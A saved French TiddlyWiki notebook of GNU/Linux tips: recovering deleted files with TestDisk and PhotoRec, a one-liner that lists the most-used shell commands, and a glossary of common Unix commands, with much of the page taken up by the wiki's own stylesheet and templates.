Le Carnet de bord est en chargement ...
Necessite Javascript actif
Carnet de bord GNU/Linux - aide mémoire, programmes, liens et astuces
<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml' />
<!--}}}-->
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/*{{{*/
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected{color:[[ColorPalette::PrimaryDark]];
	background:[[ColorPalette::TertiaryPale]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
}
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

.wizard .notChanged {background:transparent;}
.wizard .changedLocally {background:#80ff80;}
.wizard .changedServer {background:#8080ff;}
.wizard .changedBoth {background:#ff8080;}
.wizard .notFound {background:#ffff80;}
.wizard .putToServer {background:#ff80ff;}
.wizard .gotFromServer {background:#80ffff;}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.sparkline {background:[[ColorPalette::PrimaryPale]]; border:0;}
.sparktick {background:[[ColorPalette::PrimaryDark]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}
.readOnly {background:[[ColorPalette::TertiaryPale]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:'alpha(opacity=60)';}
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0 1em 1em; left:0px; top:0px;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 0.3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0 0; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0;}
.wizardFooter .status {padding:0 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0 0 0.5em;}
.tab {margin:0 0 0 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0 0.25em; padding:0 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0px 3px 0px 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0; font-size:.9em;}
.editorFooter .button {padding-top:0px; padding-bottom:0px;}

.fieldsetFix {border:0; padding:0; margin:1px 0px;}

.sparkline {line-height:1em;}
.sparktick {outline:0;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0; right:0;}
#backstageButton a {padding:0.1em 0.4em; margin:0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; width:90%; margin-left:3em; padding:1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
/***
StyleSheet for use when a translation requires any css style changes.
This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
***/
/*{{{*/
body {font-size:0.8em;}
#sidebarOptions {font-size:1.05em;}
#sidebarOptions a {font-style:normal;}
#sidebarOptions .sliderPanel {font-size:0.95em;}
.subtitle {font-size:0.8em;}
.viewer table.listView {font-size:0.95em;}
/*}}}*/
/*{{{*/
@media print {
#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none !important;}
#displayArea {margin: 1em 1em 0em;}
noscript {display:none;} /* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
}
/*}}}*/
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar [[ToolbarCommands::ViewToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar [[ToolbarCommands::EditToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser excludeLists'></span></div>
<!--}}}-->
To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* [[MainMenu]]: The menu (usually on the left)
* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
These [[InterfaceOptions]] for customising [[TiddlyWiki]] are saved in your browser

Your username for signing your edits. Write it as a [[WikiWord]] (eg [[JoeBloggs]])

<<option txtUserName>>
<<option chkSaveBackups>> [[SaveBackups]]
<<option chkAutoSave>> [[AutoSave]]
<<option chkRegExpSearch>> [[RegExpSearch]]
<<option chkCaseSensitiveSearch>> [[CaseSensitiveSearch]]
<<option chkAnimate>> [[EnableAnimations]]

----
Also see [[AdvancedOptions]]
<<importTiddlers>>
''Nom de l'application'': ''@@color(red):  Testdisk & Photorec @@''
Mots clef: système, recovery, sauvegarde
Liens: [[site officiel|http://www.cgsecurity.org/wiki/TestDisk_Download ]]
<<<
''Description: ''Permet de récupérer partions perdues et fichiers effacer (même avec {{{rm -Rf}}}): LE programme qui sauve

''Installation: ''Un paquet rpm est disponible sur le site officiel. Ensuite on peut le convertir en .deb grâce à alien (voir InstallRpmFiles).

''Notes: ''
#Pour récupérer une partition utiliser en root testdisk et pour récupérer les fichiers effacés, utiliser photorec.
#Pour un effacement réellement efficace, voir DétruireUnFichier.
#Après résurrection, les commandes suivantes peuvent être utiles ([[source|http://www.tux-planet.fr/blog/?2008/01/15/221-recuperer-des-donnees-perdues-ou-effacees-sous-linux-avec-photorec]]:
##trouver tous les fichiers mp3: {{{$ find recup_dir.* -name "*.mp3"}}}
##trouver tous les fichiers de plus de 100 mo: {{{$ find recup_dir.* -size +100M}}}
##trouver tous les fichiers contenant la chaine "coucou": {{{$ grep -R "coucou" recup_dir.*}}}
##Une autre solution pourra consister à trier les fichiers en fonction de leur extension, à l'aide de ce script :
{{{
    #!/bin/bash
    for i in `find . -type f`
    do
      if [ -f $i ]; then
        dir=$(echo $i | awk -F'.' '{print $3}')
        mkdir -p "$dir" && mv "$i" "$dir"
       fi
    done 
}}}
Astuce: ''Obtenir la liste des 10 commandes que vous utilisez le plus''
Mots clef: bash, terminal
Os: Linux
Liens: [[source| http://koke.amedias.org/articles/2007/06/11/my-top-10-commands/ ]]
<<<
La commande magique:
{{{$ history | awk '{print $2}' | awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c | sort -rn | head -10}}}
Astuce: ''aperçu de ce qu'on utilise régulierement sous linux''
Mots clef: console, bash
Os: Linux
Liens: [[source| http://newbie.opentech.be]]
<<<
''alias''
permet de définir des abréviations pour les appels de commandes
''apropos''
permet d'obtenir une brève description d'un programme ({{{$apropos uneCommande}}})
''at''
Permet d'exécuter une commande à un moment précis
''awk (gawk)''
Il s'agit d'une implémentation GNU du language awk qui permet le traitement de fichiers
''banner''
Permet d'imprimer une bannière ( sortie de caractères en majuscule ) 
''basename''
permet d'extraire le nom de fichier d'un chemin d'accès
''bg''
permet de placer un processus en arrière plan
''break''
permet de contrôler une boucle
''cal''
permet d'afficher le calendrier
''case''
Il s'agit d'une structure de contrôle à choix multiples 
''cat''
permet d'afficher le contenu d'un fichier (équivalent de "type" sous DOS)
''cd''
permet de changer de répertoire actif
''chgrp ''
permet de changer l'affectation de groupe pour des fichiers
''chmod''
permet de changer les droits d'accès des fichiers
''chown ''
permet de changer le propriétaire d'un fichier
''chroot ''
permet de changer le  répertoire racine pour l'exécution d'une commande
''cmp''
permet de comparer deux fichiers
''continue''
permet la reprise d'une boucle interrompue avant son terme
''cp''
permet de copier des fichiers
"cp -p"
permet de copier des fichierset de conserver le propriétaire, le groupe et les permissions d'accès
''cpio ''
permet la copie de fichier archive pour la sauvegarde
''crontab ''
permet l'exécution de commandes à intervalles réguliers
''cut ''
permet le découpage de morceaux de lignes
''date ''
permet d'obtenir/régler la date système
''dd ''
permet de copier et de convertir des données
''df ''
permet d'afficher l'espace disponible sur un support de données
''diff''
permet de déterminer les differences entre les fichiers
''du'' 
permet de déterminer l'espace disque utilisé. {{{$ du -skh}}} pour le total d'un dossier.
''echo''
permet d'afficher une ligne de texte
''egrep''
permet de rechercher en fonction d'expression régulières étendues
''env''
permet de modifier l'environnement d'une commande
''eval ''
permet une exécution répétée de commande de shell
''exit''
permet de quitter le shell actuel
''export ''
permet d'exporter les variable du shell
''expr''
permet d'exploiter/calculer  des expressions
''false''
il s'agit dee la veleur de retour standart des shelles scripts
''fc ''
permet un rappel de ligne de commande
''fg''
permet d'ammener une commande d'arrière-plan en premier plan
''fgrep ''
permet une recherche rapide sans expression réguliere
''file''
permet d'afficher le type de fichier
''find ''
permet une recherche récursive de fichiers
''for ''
il s'agit d'une structure de controle 
''gcc''
il s'agit du compilateur C GNU
''grep ''
permet de recherche des lignes avec des expressions régulières
''id''
permet d'afficher des numéros d'utilisateurs et de groupes
''if''
permet une décision dans un script shell
''jobs''
permet d'afficher des processus d'arriere plan en cours
''join ''
permet la conjonction de deux fichiers
''kill ''
permet d'envoyer un signal à un processus
''let ''
permet une affectation arithmétique dans le shell
''ln ''
permet d'affecter un lien à un fichier ( lien symbolique )
''logname''
permet d'afficher le nom d'utilisateur
''lpq ''
permet de déterminer l'état des files d'attentes d'impression 
''lpr''
permet d'imprimer des fichiers
''lprm''
permet d'annuler une requete d'impression
''ls ''
permet de lister les fichiers d'un répertoire
''mail ''
permet de lire et d'envoyer des messages
''man ''
permet l'appel de l'aide en ligne
''mesg ''
permet la gestion des accès au terminaux 
''mkdir''
permet la création d'un répertoire 
''mknod ''
permet de créer des fichiers de périphérique et de ~FIFOs
''more ''
permet l'affichage de fichiers de et données page par page
''mv ''
permet de déplacer
''newgrp ''
permet de modifier l'appartenance à un groupe
''nice ''
permet de lancer une commande avec des priorités modifiés
''nohup''
permet d'ignorer les signaux dans le cadre d'une commande
''od ''
permet d'afficher d'afficher des données dans le format interne
''passwd ''
permet de modifier le mot de passe utilisateur
''pg ''
permet de visualiser les fichiers et les données page par page
''pr''
permet de formater des données et des fichiers
''ps''
permet d'afficher des informations sur l'etat des processus en cours
''pwd''
permet d'affichier le répertoire actif
''read''
permet de lire des valeurs
''readonly''
permet de protéger des variables du shell contre l'écrasement
''return''
permet de quitter prématurement une fonction du shell
''rm''
permet de supprimer un fichier
''rmdir''
permet de supprimer un répertoire
''sed''
il s'agit d'un éditeur de texte batch
''select''
permet une sélection de menu simple dans le shell
''set''
permet la gestion des options et des paramètres de position
''shift''
permet de convertir des paramètres de position
''sleep''
permet une interruption du traitetement pendant un certain laps de temps
''sort''
permet de trier des données et des fichiers ligne par ligne
''stty''
permet de configurer une interface série
''su''
permet de changer de numéro d'utilisateur
''sync''
permet de sauvegarder de la mémoire tampon d'entrées/sorties
''tail''
permet d'afficher la fin d'un fichier ou d'un ensemble de données
''tar''
permet de sauvegarder et d'archiver des fichiers
''tee''
permet de dupliquer un flux de données
''test''
permet un controle de condition
''time''
permet de calculer la durée d'exécution d'une commande
''touch''
permet de modifier la date d'accés ou de modification
''tr''
permet de convertir des caractères
''trap''
permet la gestion des réactions aux signaux
''true''
il s'agit de la valeur standart pour un shell standart
''tty''
permet l'affichage du nom des terminaux
''typeset''
permet de modifier les valeurs d'attributs des variables du shell
''ulimit''
permet de fixer la taille maximale d'un fichier
''umask''
permet de définir des droits d'access prédefinis
''unalias''
permet de supprimer un nom d'alias
''uname''
permet de demander le nom du systeme
''unset ''
permet de supprimer des définitions de varaibles et de fonctions
''until''
il s'agit d'une structure de controle de boucles
''vi''
il s'agit d'un éditeur orienté écran
''wait''
permet d'attendre un processus en arrière-plan
''wall''
permet d'envoyer un message à tous les utilisateurs
''wc''
permet de compter des caractères, des mots et des lignes
''while''
il s'agit d'un structure de controle de boucles
''who''
permet d'afficher la liste des utilisateurs connectés
''write''
permet d'envoyer un message à d'autres utilisateurs
''xargs''
permet la combinaison de lignes de commandes et de saisie de clavier
<<<
''alias'' permet de définir des abréviations pour les appels de commandes
----
''apropos'' permet d'obtenir une brève description d'un programme ({{{$apropos uneCommande}}})
----
''at'' Permet d'exécuter une commande à un moment précis
----
''awk (gawk)'' Il s'agit d'une implémentation GNU du language awk qui permet le traitement de fichiers
----
''banner'' Permet d'imprimer une bannière ( sortie de caractères en majuscule ) 
----
''basename'' permet d'extraire le nom de fichier d'un chemin d'accès
----
''bg'' permet de placer un processus en arrière plan
----
''break'' permet de contrôler une boucle
----
''cal'' permet d'afficher le calendrier
----
''case'' Il s'agit d'une structure de contrôle à choix multiples 
----
''cat'' permet d'afficher le contenu d'un fichier (équivalent de "type" sous DOS)
----
''cd'' permet de changer de répertoire actif
----
''chgrp '' permet de changer l'affectation de groupe pour des fichiers
----
''chmod'' permet de changer les droits d'accès des fichiers
----
''chown '' permet de changer le propriétaire d'un fichier
----
''chroot '' permet de changer le  répertoire racine pour l'exécution d'une commande
----
''cmp'' permet de comparer deux fichiers
----
''continue'' permet la reprise d'une boucle interrompue avant son terme
----
''cp'' permet de copier des fichiers
----
"cp -p" permet de copier des fichierset de conserver le propriétaire, le groupe et les permissions d'accès
----
''cpio '' permet la copie de fichier archive pour la sauvegarde
----
''crontab '' permet l'exécution de commandes à intervalles réguliers
----
''cut '' permet le découpage de morceaux de lignes
----
''date '' permet d'obtenir/régler la date système
----
''dd '' permet de copier et de convertir des données
----
''df '' permet d'afficher l'espace disponible sur un support de données
----
''diff'' permet de déterminer les differences entre les fichiers
----
''du''  permet de déterminer l'espace disque utilisé
----
''echo'' permet d'afficher une ligne de texte
----
''egrep'' permet de rechercher en fonction d'expression régulières étendues
----
''env'' permet de modifier l'environnement d'une commande
----
''eval '' permet une exécution répétée de commande de shell
----
''exit'' permet de quitter le shell actuel
----
''export '' permet d'exporter les variable du shell
----
''expr'' permet d'exploiter/calculer  des expressions
----
''false'' il s'agit dee la veleur de retour standart des shelles scripts
----
''fc '' permet un rappel de ligne de commande
----
''fg'' permet d'ammener une commande d'arrière-plan en premier plan
----
''fgrep '' permet une recherche rapide sans expression réguliere
----
''file'' permet d'afficher le type de fichier
----
''find '' permet une recherche récursive de fichiers
----
''for '' il s'agit d'une structure de controle 
----
''gcc'' il s'agit du compilateur C GNU
----
''grep '' permet de recherche des lignes avec des expressions régulières
----
''id'' permet d'afficher des numéros d'utilisateurs et de groupes
----
''if'' permet une décision dans un script shell
----
''jobs'' permet d'afficher des processus d'arriere plan en cours
----
''join '' permet la conjonction de deux fichiers
----
''kill '' permet d'envoyer un signal à un processus
----
''let '' permet une affectation arithmétique dans le shell
----
''ln '' permet d'affecter un lien à un fichier ( lien symbolique )
----
''logname'' permet d'afficher le nom d'utilisateur
----
''lpq '' permet de déterminer l'état des files d'attentes d'impression 
----
''lpr'' permet d'imprimer des fichiers
----
''lprm'' permet d'annuler une requete d'impression
----
''ls '' permet de lister les fichiers d'un répertoire
----
''mail '' permet de lire et d'envoyer des messages
----
''man '' permet l'appel de l'aide en ligne
----
''mesg '' permet la gestion des accès au terminaux 
----
''mkdir'' permet la création d'un répertoire 
----
''mknod '' permet de créer des fichiers de périphérique et de ~FIFOs
----
''more '' permet l'affichage de fichiers de et données page par page
----
''mv '' permet de déplacer
----
''newgrp '' permet de modifier l'appartenance à un groupe
----
''nice '' permet de lancer une commande avec des priorités modifiés
----
''nohup'' permet d'ignorer les signaux dans le cadre d'une commande
----
''od '' permet d'afficher d'afficher des données dans le format interne
----
